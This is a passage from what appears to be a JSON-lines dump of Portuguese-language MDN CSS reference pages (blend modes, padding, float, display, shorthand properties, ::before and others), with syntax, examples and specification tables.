100 L 300 100 L 200 300 z\") auto;\n  animation: move 3s linear infinite;\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Motion Path Module Level 1 # offset-shorthand |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"CSS Positioning - CSS","text":"CSS Positioning\n===============\n\n**CSS Positioning** é um módulo do CSS que define como ficam a posição dos elementos relativos e absolutos da página.\n\nReferências\n-----------\n\n### CSS Properties\n\n* `bottom` (en-US)\n* `clear`\n* `display`\n* `float`\n* `left` (en-US)\n* `position`\n* `right` (en-US)\n* `top` (en-US)\n* `visibility`\n* `z-index` (en-US)\nRoteiro\n-------\n\nEntendendo o CSS z-index\n\nApresenta o conceito de contexto de empilhamento e explica como funciona o atributo z-index, com diversos exemplos.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Positioned Layout Module Level 3  |"}
{"title":"<blend-mode> - CSS","text":"<blend-mode>\n============\n\nO tipo básico de dados CSS **`<blend-mode>`** (modo de mesclagem) descreve como as cores devem aparecer, quando objetos se sobrepõem. Usa-se nas propriedades `background-blend-mode` e `mix-blend-mode`.\n\nPara cada pixel sobreposto, o **`blend-mode`** obtém o valor da cor do pixel da frente e do pixel do fundo, faz um cálculo com esses valores e devolve um novo valor de cor.\n\nSyntaxe\n-------\n\nO tipo básico de dados **`<blend-mode>`** é definido usando uma palavra chave escolhida da lista abaixo.\n\n### Valores\n\n`normal`\n\n A cor firnal é a do pixel de cima, não importando a cor dor o pixel de baixo.\n O efeito é como duas folhas de papel opacas se sobrepondo.\n\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: normal;\n}\n```\n\n\n`multiply`\n\n A cor final é o resultado da multiplicação das cores de cima e de baixo.\n Quando uma das camadas for preta, a cor final será preta, enquanto uma camada branca não altera a cor final.\n O efeito é como duas imagens impressas sobrepostas em um filme transparente.\n\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: multiply;\n}\n```\n\n\n`screen`\n\n A cor final é o resultado do inverso de cada cor, multiplicados um pelo outro e depois, o inverso desse resultado.\n Uma camada preta não altera o resultado final, enquanto uma camada branca resulta na cor final branca.\n O efeito é como o de duas imagens sobrepostas por um projetor, sobre uma tela de projeção.\n\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: screen;\n}\n```\n\n\n`overlay`\n\n A cor final será o resultado de `multiply`, se a cor de baixo for mais escura ou `screen`, se a cor de baixo for mais clara.\n Este `blend-mode` é equivalente a `hard-light` mas com as camadas invertidas.\n\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: overlay;\n}\n```\n\n\n`darken`\n\nA cor final é composta pelos valores mais escuros dos canais de cores de cada uma das camadas.\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: darken;\n}\n```\n\n\n`lighten`\n\nA cor final é composta pelos valores mais claros de cada um dos canais de cores das camadas.\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: lighten;\n}\n```\n\n\n`color-dodge`\n\n A cor final é o resultado da divisão da cor de baixo pelo inverso da cor de cima.\n Um fundo preto não altera as cores. Uma cor de cima inversa a cor de baixo, resulta em uma cor bastante luminosa.\n Este `blend-mode` é similar a `screen`, mas a cor de cima precisa ser apenas tão clara quanto o inverso da cor de fundo para deixar o resultado muito luminoso.\n\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: color-dodge;\n}\n```\n\n\n`color-burn`\n\n A cor final é o inverso da cor do fundo, dividido pelo valor da cor da frente e então inverte-se o resultado final.\n Se a cor de cima for branca, não haverá alteração. Se a cor de cima for o inverso da cor de baixo, resultará em uma cor preta.\n Este `blend-mode` é similar ao `multiply`, mas a cor de cima precisa apenas ser tão escura quanto o inverso da cor de baixo para fazer o resultado final ser preto.\n\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: color-burn;\n}\n```\n\n\n`hard-light`\n\n A cor final é o resultado do `multiply` se a cor de cima for a mais escura, ou o resultado de `screen` se a cor de cima for mais clara.\n Este `blend-mode` é equivalente ao `overlay` mas com as camadas invertidas.\n O efeito é o de iluminar o fundo com um holofote muito forte e intenso.\n\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: hard-light;\n}\n```\n\n\n`soft-light`\n\n O resultado final é similar ao de `hard-light`, porém menos intenso.\n O efeito é o de iluminar o fundo com um holofote difuso.\n\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: soft-light;\n}\n```\n\n\n`difference`\n\n The final color is the result of subtracting the darker of the two colors from the lighter one.\n A black layer has no effect, while a white layer inverts the other layer's color.\n\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: difference;\n}\n```\n\n\n`exclusion`\n\n The final color is similar to `difference`, but with less contrast.\n As with `difference`, a black layer has no effect, while a white layer inverts the other layer's color.\n\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: exclusion;\n}\n```\n\n\n`hue`\n\nThe final color has the *hue* of the top color, while using the *saturation* and *luminosity* of the bottom color.\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: hue;\n}\n```\n\n\n`saturation`\n\n The final color has the *saturation* of the top color, while using the *hue* and *luminosity* of the bottom color.\n A pure gray backdrop, having no saturation, will have no effect.\n\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: saturation;\n}\n```\n\n\n`color`\n\n The final color has the *hue* and *saturation* of the top color, while using the *luminosity* of the bottom color.\n The effect preserves gray levels and can be used to colorize the foreground.\n\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: color;\n}\n```\n\n\n`luminosity`\n\n The final color has the *luminosity* of the top color, while using the *hue* and *saturation* of the bottom color.\n This blend mode is equivalent to `color`, but with the layers swapped.\n\n```\n\n<div id=\"div\"></div>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: luminosity;\n}\n```\n\n\nInterpolation of blend modes\n----------------------------\n\nChanges between blends mode are not interpolated. Any change occurs immediately.\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| Compositing and Blending Level 2 # ltblendmodegt |\n\nBrowser Compatibility\n---------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Properties that use this data type: `background-blend-mode`, `mix-blend-mode`\n* Blend modes"}
{"title":"padding - CSS","text":"padding\n=======\n\nA propriedade **`padding`** define uma a distância entre o conteúdo de um elemento e suas bordas. É um atalho que evita definir uma distância para cada lado separadamente (`padding-top`, `padding-right`, `padding-bottom`, `padding-left`).\n\n\n```css\n/\\* Aplica-se à todas as bordas \\*/\npadding: 1em;\n\n/\\* vertical | horizontal \\*/\npadding: 5% 10%;\n\n/\\* superior | horizontal | inferior \\*/\npadding: 1em 2em 2em;\n\n/\\* superior | direita | inferior | esquerda \\*/\npadding: 2px 1em 0 1em;\n\n/\\* Valores globais \\*/\npadding: inherit;\npadding: initial;\npadding: unset;\n```\n\n\n|  |  |\n| --- | --- |\n| Initial value | as each of the properties of the shorthand:* `padding-bottom` (en-US): `0`\n* `padding-left`: `0`\n* `padding-right` (en-US): `0`\n* `padding-top` (en-US): `0`\n |\n| Aplica-se a | all elements, except `table-row-group`, `table-header-group`, `table-footer-group`, `table-row`, `table-column-group` and `table-column`. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | não |\n| Percentages | refer to the width of the containing block |\n| Computed value | as each of the properties of the shorthand:* `padding-bottom` (en-US): the percentage as specified or the absolute length\n* `padding-left`: the percentage as specified or the absolute length\n* `padding-right` (en-US): the percentage as specified or the absolute length\n* `padding-top` (en-US): the percentage as specified or the absolute length\n |\n| Animation type | a length |\n\nSintaxe\n-------\n\nA propriedade `padding` pode ser utilizada usando um, dois, três ou todos os quatro valores. Cada valor é um `<comprimento>` ou uma `<porcentagem>`.\n\n* Quando **um** único é valor utilizado, ele se aplica a todos os **quatro lados**.\n* Se **Dois** valores forem utilizados o primeiro se aplica às bordas verticais (**superior e inferior**) e o segundo se aplica às bordas horizontais (**esquerda e direita**).\n* Quando **Três** valores são utilizados o primeiro se aplica à borda **superior**, o segundo será utilizado tanto para a borda **esquerda quanto para a borda direita**. O terceiro será aplicado à borda **inferior**.\n* Com **Quatro** valores a ordem de aplicação é: **superior, direita, inferior e esquerda** (de acordo com o movimento dos ponteiros do relógio).\n### Valores\n\n`<comprimento>`\n\nMedia do comprimento. Não pode ser negativo. Veja `<length>` (en-US) para maiores detalhes.\n\n`<porcentagem>`\n\nValor percentual que é aplicado em relação à **largura** do bloco contido.\n\n### Sintaxe formal\n```\n\npadding =   \n  <'padding-top'>{1,4} (en-US)    \n  \n```\n\nExemplos\n--------\n\n\n```css\npadding: 5%;\n/\\* padding 5% em todos os lados \\*/\n```\n\n\n\n```css\npadding: 10px;\n/\\* padding 10px em todos os lados \\*/\n```\n\n\n\n```css\npadding: 10px 20px;\n/\\* 10px acima e abaixo \\*/\n/\\* 20px esquerda e direita \\*/\n```\n\n\n\n```css\npadding: 10px 3% 20px;\n/\\* 10px acima \\*/\n/\\* 3% esquerda e direita \\*/\n/\\* 20px abaixo \\*/\n```\n\n\n\n```css\npadding: 1em 3px 30px 5px;\n/\\* acima 1em padding \\*/\n/\\* direita 3px padding \\*/\n/\\* abaixo 30px padding \\*/\n/\\* esquerda 5px padding \\*/\n```\n\n\nborder:outset; padding:5% 1em;\n\nAmostra\n-------\n\n### HTML\n\n\n```html\n<h4>Hello world!</h4>\n<h3>O padding é diferente nesta linha.</h3>\n```\n\n### CSS\n\n\n```css\nh4 {\n  background-color: green;\n  padding: 50px 20px 20px 50px;\n}\n\nh3 {\n  background-color: blue;\n  padding: 400px 50px 50px 400px;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Box Model Module Level 3 # padding-shorthand |\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* CSS Box Model"}
{"title":"Type selectors - CSS","text":"Type selectors\n==============\n\nO **seletor de tipo** CSS corresponde aos elementos pelo nome do nó. Em outras palavras, ele seleciona todos os elementos do tipo fornecido em um documento.\n\n\n```css\n/\\* Todos os elementos <a> \\*/\na {\n  color: red;\n}\n```\n\nSintaxe\n-------\n```\n\nelement { style properties }\n```\n\nExemplos\n--------\n\n### CSS\n\n\n```css\nspan {\n  background-color: skyblue;\n}\n```\n\n### HTML\n\n\n```html\n<span>Here's a span with some text.</span>\n<p>Here's a p with some text.</p>\n<span>Here's a span with more text.</span>\n```\n\n### Result\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # type-selectors |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"CSS Display - CSS","text":"CSS Display\n===========\n\n**CSS Display** É um módulo de CSS que define como a árvore da caixa de formatação CSS é gerada a partir da árvore de elementos do documento e define as propriedades que a controlam.\n\nReferência\n----------\n\n### CSS Propriedades\n\n* `display`\n### CSS tipos de dados\n\n* `<display-outside>`\n* `<display-inside>`\n* `<display-listitem>`\n* `<display-box>`\n* `<display-internal>`\n* `<display-legacy>`\nGuias\n-----\n\n### CSS Fluxo Layout (`display: block`, `display: inline`)\n\n* Layout de bloco e embutido no fluxo normal (en-US)\n* Layout de fluxo e Overflow (en-US)\n* Layout de fluxo e modos de gravação (en-US)\n* Contextos de formatação explicados (en-US)\n* No fluxo e fora do fluxo (en-US)\n### `display: flex`\n\n* Conceitos básicos de flexbox\n* Alinhando itens em um container Flex\n* Relações de controle de itens flexíveis ao longo do eixo principal (en-US)\n* Combinações Flexbox entre navegadores (en-US)\n* Dominando o agrupamento de itens flexíveis (en-US)\n* Pedido de itens flexíveis (en-US)\n* Relação do flexbox com outros métodos de layout (en-US)\n* Compatibilidade com versões anteriores do Flexbox (en-US)\n* Casos de uso típicos do Flexbox (en-US)\n### `display: grid`\n\n* Conceitos básicos de layout de grade\n* Relação com outros métodos de layout\n* Posicionamento baseado em linha (en-US)\n* Áreas de modelo de grade (en-US)\n* Layout usando linhas de grade nomeadas (en-US)\n* Posicionamento automático no layout da grade (en-US)\n* Alinhamento de caixa no layout da grade (en-US)\n* Grades, valores lógicos e modos de escrita (en-US)\n* Layout e acessibilidade da grade CSS (en-US)\n* Layout de grade CSS e aprimoramento progressivo (en-US)\n* Realizando layouts comuns usando grades (en-US)\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Display Module Level 3 # the-display-properties |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"float - CSS","text":"float\n=====\n\nResumo\n------\n\nA propriedade **float** do CSS determina que um elemento deve ser retirado do seu fluxo normal e colocado ao longo do lado direito ou esquerdo do seu containêr, onde textos e elementos em linha irão se posicionar ao seu redor.\n\nUm elemento flutuante é um tipo de elemento cujo valor de `float` é diferente de `none.`\n\n|  |  |\n| --- | --- |\n| Initial value | `none` |\n| Aplica-se a | all elements, but has no effect if the value of `display` is `none`. |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | discrete |\n\nComo `float` implica o uso the *block layout,* ele modifica o valor computado de `display` em alguns casos:\n\n| Valor Especificado | Valor Computado |\n| --- | --- |\n| `inline` | `block` |\n| `inline-block` | `block` |\n| `inline-table` | `table` |\n| `table-row` | `block` |\n| `table-row-group` | `block` |\n| `table-column` | `block` |\n| `table-column-group` | `block` |\n| `table-cell` | `block` |\n| `table-caption` | `block` |\n| `table-header-group` | `block` |\n| `table-footer-group` | `block` |\n| `flex` | `flex`, porém `float` não produz efeito em tais elementos |\n| `inline-flex` | `inline-flex`, porém `float` não produz efeito em tais elementos |\n| *other* | *unchanged* |\n\n**Nota:** Se você está se referindo a essa propriedade do Javascript como um membro do objeto `element.style`, você deve referir-se a `cssFloat`. Observe também que as versões 8 e posteriores referem-se a `styleFloat`. Esta é uma exceção à regra de que o nome do membro DOM é o nome em estilo *camel-case* do nome CSS separado por traço (e se deve ao fato de que \"float\" é uma palavra reservada em Javascript, tal qual a necessidade de especificar \"class\" como \"className\" e \"for\" como \"htmlFor\").\n\nSintaxe\n-------\n\n\n```css\nfloat: left;\nfloat: right;\nfloat: none;\nfloat: inline-start;\nfloat: inline-end;\n\n/\\* Global values \\*/\nfloat: inherit;\nfloat: initial;\nfloat: unset;\n```\n\n### Valores\n\n`left`\n\nÉ uma palavra-chave que indica que o elemento deve flutuar à esquerda do bloco.\n\n`right`\n\nÉ uma palavra-chave que indica que o elemento deve flutuar à direita do bloco.\n\n`none`\n\nÉ uma palavra-chave que indica que o elemtno não deve flutuar.\n\n`inline-start` \nExperimental\n\nÉ uma palavra-chave que indica que o elemento deve flutuar no lado inicial do seu bloco, ou seja, o lado esquerdo em scripts `ltr` e no direito em scripts `rtl`.\n\n`inline-end` \nExperimental\n\nÉ uma palavra-chave que indica que o elemento deve flutuar no lado final do seu bloco, ou seja, o lado direito em scripts `ltr` e no esquerdo em scripts `rtl`.\n\n### Sintaxe Formal\n```\n\nfloat =   \n  block-start      | (en-US)  \n  block-end        | (en-US)  \n  inline-start     | (en-US)  \n  inline-end       | (en-US)  \n  snap-block       | (en-US)  \n  <snap-block()>   | (en-US)  \n  snap-inline      | (en-US)  \n  <snap-inline()>  | (en-US)  \n  left             | (en-US)  \n  right            | (en-US)  \n  top              | (en-US)  \n  bottom           | (en-US)  \n  none             | (en-US)  \n  footnote           \n  \n<snap-block()> =   \n  snap-block( <length> (en-US) , [ (en-US) start | (en-US) end | (en-US) near ] (en-US)? (en-US) )    \n  \n<snap-inline()> =   \n  snap-inline( <length> (en-US) , [ (en-US) left | (en-US) right | (en-US) near ] (en-US)? (en-US) )    \n  \n```\n\nExemplos\n--------\n\n### CSS\n\n\n```css\ndiv {\n  border: solid red;\n  max-width: 70ex;\n}\nh4 {\n  float: left;\n  margin: 0;\n}\n```\n\n### HTML\n\n\n```html\n<div>\n  <h4>HELLO!</h4>\n  This is some text. This is some text. This is some text. This is some text.\n  This is some text. This is some text. This is some text. This is some text.\n  This is some text. This is some text. This is some text. This is some text.\n</div>\n```\n\n### Como `floats` são posicionados\n\nComo mencionado acima, quando um elemento é flutuado ele é retirado do seu fluxo normal no documento. Ele é reposicionado à esquerda ou à direita até tocar a borda do seu próprio *box* ou outro elemento flutuante.\n\nNa imagem abaixo, existem 3 quadrados vermelho. Dois flutuando à esquerda e um flutuando à direita. Observe que o segundo quadrado vermelho à esquerda é posicionado à direita do primeiro. Quadrados adicionais poderiam continuar sendo empilhados à direita até que eles completassem o box, após isso eles iriam para próxima linha.\n\n![](/pt-BR/docs/Web/CSS/float/floats.png)\n\n### Limpando *floats*\n\nNo exemplo abaixo, os elementos flutuantes são menores verticalmente que o bloco de texto com os quais estão flutuando. Apesar disso, se o texto não fosse comprido o bastante para passar abaixo do limite inferior de todos os *floats,* nos veríamos efeitos não previstos. Se o parágrafo abaixo, por enquanto, somente lê \"Lorem ipsum dolor sit amet,\", e fosse seguido por outro cabeçalho do mesmo estilo de cabeçaljo \"Floats Example\", o segundo cabeçalho iria aparecer entre os dois *boxes* vermelhos. Muito provavelmente, queremos que o próximo título seja alinhado à esquerda. Para conseguir isso, precisamos limpar os *floats*.\n\nO jeito mais simples de limpar os floats neste exemplo é adicionar a propriedade `clear` para o próximo cabeçalho que queremos assegurar que esteja alinhado à esquerda.\n\n\n```css\nh2.secondHeading {\n  clear: both;\n}\n```\n\n\nPorém, este método apenas funciona se não existirem outros elementos com o mesmo block formatting context (en-US) aos quais nós queiramos que o cabeçalho continue aparecendo ao lado horizontalmente. Se o nosso `H2` possui irmãos os quais são barras laterais flutuadas à esquerda e à direita, usar `clear` irá forçá-lo a aparecer abaixo das duas barras laterais, o que provavelmente não é o que queríamos.\n\nSe limpar `floats` em um elemento não é uma opção, uma outra abordagem é limitar o contexto de formatação do bloco do containêr flutuante. Referindo-se ao exemplo acima novamente, aparentemente todos os três quadrados vermelhos possuem um elemento paragrafo `P` . Nós podemos atribuir a propiedade `overflow` neste paragrafo para `hidden` ou `auto` para obrigá-lo a expandir para contê-los, porém não permitirá que os mesmos parágrafos pulem fora do limite inferior.\n\n\n```css\np.withRedBoxes {\n  overflow: hidden;\n  height: auto;\n}\n```\n\n\n**Nota:** Atribuir `overflow` para `scroll` irá conter também qualquer elemento filho flutuante, mas mostrará as barras de rolagem não importando o comprimento vertical do elemento. Aqui nós estamos atribuindo `height` como `auto` mesmo sendo este o padrão para indicar que o containêr deve crescer para acomodar seu conteúdo.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Cascading Style Sheets Level 2 Revision 2 (CSS 2.2) Specification # propdef-float |\n| CSS Logical Properties and Values Level 1 # float-clear |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Block formatting context (en-US)"}
{"title":"text-decoration-style - CSS","text":"text-decoration-style\n=====================\n\nResumo\n------\n\nA propriedade CSS **`text-decoration-style`** CSS define o estilo das linhas especificadas por `text-decoration-line` (en-US). O modelo aplica-se a todas as linhas, não há nenhuma forma de definir estilos diferentes para cada uma das linhas utilizando `text-decoration-line`.\n\nSe a decoração especificada tem um significado semântico específico, como uma linha de line-through o que significa que um texto tenha sido excluído, autores são encorajados a denotar este significado usando uma tag HTML, como `<del>` ou `<s>`. Como os navegadores podem ser deficientes em alguns casos, o significado semântico não vai desaparecer em tal situação.\n\n|  |  |\n| --- | --- |\n| Initial value | `solid` |\n| Aplica-se a | all elements. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSyntax\n------\n\n\n```css\n/\\* Keyword values \\*/\ntext-decoration-style: solid;\ntext-decoration-style: double;\ntext-decoration-style: dotted;\ntext-decoration-style: dashed;\ntext-decoration-style: wavy;\n\n/\\* Global values \\*/\ntext-decoration-style: inherit;\ntext-decoration-style: initial;\ntext-decoration-style: unset;\n```\n\n### Valores\n\n`solid double dotted dashed wavy`\n\nÉ uma das seguintes palavras-chave:\n\n| Keyword | Description | Comment |\n| --- | --- | --- |\n| `solid` | Draws a single line |  |\n| `double` | Draws a double line |  |\n| `dotted` | Draws a dotted line |  |\n| `dashed` | Draws a dashed line |  |\n| `wavy` | Draws a wavy line |  |\n| `-moz-none` \nNon-standard\n | Do not draw a line | **Do not use** **:** use `text-decoration-line` (en-US)`: none` instead |\n\n`inherit`\n\nÉ uma palavra-chave indicando a reutilizar o valor calculado sobre o elemento pai.\n\n### Syntax Formal\n```\n\ntext-decoration-style =   \n  solid   | (en-US)  \n  double  | (en-US)  \n  dotted  | (en-US)  \n  dashed  | (en-US)  \n  wavy      \n  \n```\n\nExemplo\n-------\n\n\n```css\n.example {\n  -moz-text-decoration-line: underline;\n  -moz-text-decoration-style: wavy;\n  -moz-text-decoration-color: red;\n  -webkit-text-decoration-line: underline;\n  -webkit-text-decoration-style: wavy;\n  -webkit-text-decoration-color: red;\n}\n```\n\n\n\n```css\n.example {\n  text-decoration-line: underline;\n  text-decoration-style: wavy;\n  text-decoration-color: red;\n}\n```\n\n\n\n```html\n<p class=\"example\">This is how it looks.</p>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Text Decoration Module Level 3 # text-decoration-style-property |\n\nBrowser compatíveis\n-------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Propriedades shorthand - CSS","text":"Propriedades shorthand\n======================\n\nDefinição\n---------\n\n*Propriedades shorthand (tradução literal: Propriedades abreviadas) são propriedades de CSS que deixam você setar os valores de outras propriedades de CSS simultaneamente. Usando shorthand property, um desenvolvedor web pode escrever folhas de estilo mais concisas e legíveis,economizando tempo e energia.*\n\nA especificação CSS define como shorthand properties, o grupo de propriedades com o mesmo tema. Ex: a propriedade CSS `background` é uma propriedade shorthand que é capaz de definir o valor de `background-color`, `background-image` (en-US), `background-repeat` (en-US), e `background-position` (en-US). Assim também,como as propriedades comuns e relacionadas a fonte podem ser definidas e usadas com o shorthand `font` (en-US),e os diferentes margins em volta de um box podem ser definidas com o shorthand `margin`.\n\nCasos específicos\n-----------------\n\nMesmo sendo convenientes para se usar, existem alguns casos que precisam ser analisados antes de usar:\n\n1. Um valor que não especificado é setado seu valor inicial. Isso parece uma anedota, mas realmente significa que sobrescreve valores previamente setados. Por exemplo:\n\n```css\nbackground-color: red;\nbackground: url(images/bg.gif) no-repeat top right;\n```\n\nnão irá setar a cor do background para vermelho, mas para `background-color`'s padrão, transparente, como a segunda regra tem precedência.\n2. Apenas propriedades individuais são herdadas. Como valores que faltam são substituidos pelo seu valor inicial, é impossivel herdar valores individuais os omitindo. O valor `inherit` pode ser aplicado a uma propriedade, mas num total e não como uma palavra-chave para um valor ou outro. Isso significa que a unica forma de um valor específico ser herdado é usando a propriedade em longhand com o valor `inherit`.\n3. Propriedades shorthand tentam não forçar uma ordem específica para os valores das propriedades que elas substituem. Isso funciona bem quando essas propriedades usam valores de diferentes tipos, como a ordem não tem importância, isso funciona bem quando essas propriedades usam valores de diferentes tipos, como a ordem não tem importância, mas isso não funciona tão facilmente quando várias propriedades podem ter valores idênticos. O tratamento destes casos está agrupado em várias categorias:\n    1. Propriedades shorthand que lidam com valores da borda de um box, como `border-style` (en-US), `margin` or `padding`, sempre usam um consistente 1-para-4 valor de sintaxe representando essas bordas:\n     \n    \n    | border1.png | *A sintaxe de um valor*: `border-width: 1em` — O valor único representa todas as bordas |\n    | --- | --- |\n    | border2.png | *As sintaxes de dois valores*: `border-width: 1em 2em` — O primeiro valor representa a vertical, isto é, as bordas superior e inferior, a segunda as horizontais, que é a esquerda e a direita. |\n    | border3.png | *As sintaxes de três valores*: `border-width: 1em 2em 3em` — O primeiro valor representa a borda superior, a segunda, a horizontal, que é esquerda e direita, e o terceiro valor a borda inferior |\n    | border4.png | *As sintaxes de quatro valores*: `border-width: 1em 2em 3em 4em` — Os quatro valores representam as margens superior, direita, inferior e esquerda, respectivamente, sempre nessa ordem, que é no sentido horário começando pelo topo (a letra inicial de Top-Right-Bottom-Left corresponde à ordem da consoante da palavra *trouble*: TRBL) |\n    2. Também parecido, shorthand que lidam com os cantos de um box `border-radius` (en-US), sempre usam 1-para-4-valor de sintaxe representando esses cantos:\n     \n    \n    | corner1.png | *A sintaxe de um valor*: `border-radius: 1em` — O valor único representa todos os cantos |\n    | --- | --- |\n    | corner2.png | *As sintaxes de dois valores*: `border-radius: 1em 2em` — O primeiro valor representa o canto superior esquerdo e inferior direito, o segundo o superior direito e inferior esquerdo |\n    | corner3.png | *As sintaxes de três valores*: `border-radius: 1em 2em 3em` — O primeiro valor representa o canto superior esquerdo, o segundo o canto superior direito eo inferior esquerdo e o terceiro o canto inferior direito |\n    | corner4.png | *As sintaxes de quatro valores*: `border-radius: 1em 2em 3em 4em` — Os quatro valores representam os cantos superior esquerdo, superior direito, inferior direito e inferior esquerdo respectivamente, sempre nessa ordem, que é no sentido horário começando no canto superior esquerdo. |\nPropriedades de background\n--------------------------\n\nUm background com as seguintes declarações:\n```\n\nbackground-color: #000;\nbackground-image: url(images/bg.gif);\nbackground-repeat: no-repeat;\nbackground-position: top right;\n```\n\n\nPode ser resumido em uma unica declaração:\n```\n\nbackground: #000 url(images/bg.gif) no-repeat top right;\n```\n\n\n(A forma shorthand é o equivalente as propriedades longhand acima, mais `background-attachment: scroll`, em CSS3, algumas propriedades adicionais.)\n\nPropriedades de fonte\n---------------------\n\nAs seguintes declarações:\n```\n\nfont-style: italic;\nfont-weight: bold;\nfont-size: .8em;\nline-height: 1.2;\nfont-family: Arial, sans-serif;\n```\n\n\nPodem ser resumidas a:\n```\n\nfont: italic bold .8em/1.2 Arial, sans-serif;\n```\n\n\nEssa declaração shorthand é o equivalente as declarações longhand acima, mais `font-variant: normal` e `font-size-adjust: none` (CSS2.0 / CSS3), `font-stretch: normal` (CSS3).\n\nPropriedades de borda\n---------------------\n\nCom a borda, o width (largura), color (cor), podem ser simplificados em uma declaração. Por exemplo,\n```\n\nborder-width: 1px;\nborder-style: solid;\nborder-color: #000;\n```\n\n\nPodem ser escritas como\n```\n\nborder: 1px solid #000;\n```\n\nPropriedades de margin e padding\n--------------------------------\n\nAs versões shorthand de margin e padding funcionam da mesma maneira. As seguintes declarações CSS:\n```\n\nmargin-top: 10px;\nmargin-right: 5px;\nmargin-bottom: 10px;\nmargin-left: 5px;\n```\n\n\nsão as mesmas da seguinte declaração (note que os valores estão em ordem horária: top, right, bottom e left(TRBL, mesmas consoantes de TRBL \"trouble\"))\n```\n\nmargin: 10px 5px 10px 5px;\n```\n\nVeja também\n-----------\n\n* CSS Reference\n* Propriedades shorthand : `background`, `font` (en-US), `margin`, `border` (en-US), `border-top` (en-US), `border-right` (en-US), `border-bottom` (en-US), `border-left`, `border-width` (en-US), `border-color` (en-US), `border-style` (en-US), `transition`, `animation`, `transform`, `padding`, `list-style` (en-US), `border-radius` (en-US)."}
{"title":"::before (:before) - CSS","text":"::before (:before)\n==================\n\nSumário\n-------\n\n`::before` cria um pseudo-elemento que é o primeiro filho do elemento atingido. É frequentemente utilizado para adicionar conteúdo decorativo à um element utilizando a propriedade `content`. Este elemento é inline por padrão.\n\nSintaxe\n-------\n\nError: could not find syntax for this item\nA notação `::before` (com dois dois-pontos) foi introduzida no CSS3 afim de diferenciar pseudo-classes de pseudo-elementos. Navegadores também aceitam a notação `:before` introduzida no CSS 2.\n\nExemplos\n--------\n\n### Adicionando aspas\n\nUm exemplo simples do uso de pseudo-elementos `::before` pseudo-elementos é a exibição de aspas. Aqui usamos `::before` e ``::after`` para inserir caracteres de aspas.\n\n#### Conteúdo HTML\n\n\n```html\n<q>Algumas citações</q>, ele disse, <q>são melhor do que nenhuma.</q>\n```\n\n\n#### Conteúdo CSS\n\n\n```css\nq::before {\n  content: \"«\";\n  color: blue;\n}\nq::after {\n  content: \"»\";\n  color: 